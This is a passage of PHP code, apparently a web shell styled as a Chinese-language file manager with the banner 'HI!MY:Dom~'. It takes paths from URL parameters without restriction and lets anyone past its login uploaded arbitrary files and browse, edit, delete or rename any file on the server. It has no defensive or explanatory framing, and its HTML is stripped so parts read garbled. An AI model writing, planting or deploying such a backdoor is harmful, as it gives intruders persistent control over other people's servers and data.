'; echo ''; echo '

HI!MY:Dom~

'; if (isset($error)) echo '
'.$error.'
'; echo '
'; echo '
'; exit; } $currentDir = $_GET['dir'] ?? __DIR__; $originalDir = $_GET['root'] ?? __DIR__; function handleUpload($directory) { if (!empty($_FILES['files'])) { $uploaded = 0; $failed = 0; foreach ($_FILES['files']['name'] as $key => $name) { if (!empty($name)) { $fileName = basename($name); $tmpName = $_FILES['files']['tmp_name'][$key]; $targetFile = $directory . DIRECTORY_SEPARATOR . $fileName; if (move_uploaded_file($tmpName, $targetFile)) { $uploaded++; } else { $failed++; } } } $message = "上传成功:$uploaded 个文件;失败:$failed 个文件。"; echo ""; } } function handleCreateFolder($directory) { if (!empty($_POST['folderName'])) { $newFolder = $directory . DIRECTORY_SEPARATOR . $_POST['folderName']; if (!is_dir($newFolder)) { if (mkdir($newFolder)) { echo ""; } else { echo ""; } } else { echo ""; } } } function handleCreateFile($directory) { if (!empty($_POST['fileName'])) { $newFile = $directory . DIRECTORY_SEPARATOR . $_POST['fileName']; if (!file_exists($newFile)) { if (file_put_contents($newFile, '') !== false) { echo ""; } else { echo ""; } } else { echo ""; } } } function handleEditFile($filePath) { if (isset($_POST['content'])) { file_put_contents($filePath, $_POST['content']); echo ""; } $content = htmlspecialchars(file_get_contents($filePath)); echo "
"; echo "
"; echo ""; echo "
"; } function handleDeleteFile($filePath) { if (file_exists($filePath)) { unlink($filePath); echo ""; } } function handleRenameFile($filePath) { if (!empty($_POST['newName'])) { $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName']; if (rename($filePath, $newPath)) { echo ""; } else { echo ""; } } else { echo "
"; echo ""; echo ""; echo "
"; } } function displayDirectory($directory) { $files = array_diff(scandir($directory), array('.', '..')); echo "

目录内容:'$directory'

"; } function getFileStatus($path) { if (is_writable($path) && is_readable($path)) { return "border-left: 4px solid green;"; } elseif (!is_writable($path)) { return "border-left: 4px solid red;"; } elseif (is_readable($path)) { return "border-left: 4px solid white;"; } return ""; } function generateFileActions($directory, $file) { $root = urlencode($_GET['root'] ?? __DIR__); return "编辑 | 删除 | 重命名"; } function handleFileActions($filePath) { if (isset($_GET['action'])) { switch ($_GET['action']) { case 'edit': handleEditFile($filePath); break; case 'delete': handleDeleteFile($filePath); break; case 'rename': handleRenameFile($filePath); break; } } } echo "文件管理器 "; echo "

当前目录: $currentDir

"; echo "

返回上级目录 | 回到原目录

"; if (isset($_GET['action'])) { $filePath = $currentDir . DIRECTORY_SEPARATOR . $_GET['file']; handleFileActions($filePath); } displayDirectory($currentDir); echo "
"; // 上传文件 echo "
"; echo "

上传文件(最多5个)

"; for ($i = 0; $i < 5; $i++) { echo "
"; } echo "
"; echo "
"; echo "
"; // 合并创建目录和文件 echo "
"; echo "

创建目录 & 创建文件

"; echo "

"; echo "

"; echo "

"; echo ""; echo "
"; echo "
"; echo "
"; // container 结束 if ($_SERVER['REQUEST_METHOD'] === 'POST') { handleUpload($currentDir); handleCreateFolder($currentDir); handleCreateFile($currentDir); } echo ""; echo ""; ?>